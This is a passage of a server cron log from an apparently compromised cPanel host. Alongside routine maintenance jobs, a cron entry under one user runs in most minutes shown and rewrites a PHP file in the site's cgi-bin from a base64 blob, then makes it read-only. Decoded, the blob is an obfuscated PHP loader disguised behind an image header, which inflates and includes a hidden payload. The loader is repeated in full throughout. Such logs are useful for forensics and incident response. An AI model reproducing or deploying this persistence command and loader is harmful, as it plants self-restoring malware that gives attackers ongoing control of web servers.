RmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:46:01 server CROND[9367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:46:01 server CROND[9368]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:46:01 server CROND[9369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:47:01 server CROND[9743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:47:01 server CROND[9744]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:47:01 server CROND[9745]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:48:01 server CROND[10167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:48:01 server CROND[10168]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:48:01 server CROND[10169]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:49:01 server CROND[10559]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:49:01 server CROND[10560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:49:01 server CROND[10561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:50:01 server CROND[10961]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 14:50:01 server CROND[10963]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 14:50:01 server CROND[10972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:50:01 server CROND[10973]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:50:01 server CROND[10978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:50:01 server CROND[10976]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 14:50:01 server CROND[10970]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 14:50:01 server CROND[10977]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 14:50:01 server CROND[10975]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 14:51:01 server CROND[11890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:51:01 server CROND[11891]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:51:01 server CROND[11892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:52:01 server CROND[12263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:52:01 server CROND[12264]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:52:01 server CROND[12265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:53:01 server CROND[12661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:53:01 server CROND[12660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:53:01 server CROND[12665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:54:01 server CROND[13031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:54:01 server CROND[13032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:54:01 server CROND[13033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:55:01 server CROND[13410]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 14:55:01 server CROND[13411]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:55:01 server CROND[13412]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 14:55:01 server CROND[13417]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 14:55:01 server CROND[13416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:55:01 server CROND[13415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:55:01 server CROND[13414]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 14:56:01 server CROND[14344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:56:01 server CROND[14345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:56:01 server CROND[14346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:57:01 server CROND[14712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:57:01 server CROND[14714]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 14:57:01 server CROND[14713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:57:01 server CROND[14715]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:58:01 server CROND[15084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:58:01 server CROND[15085]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
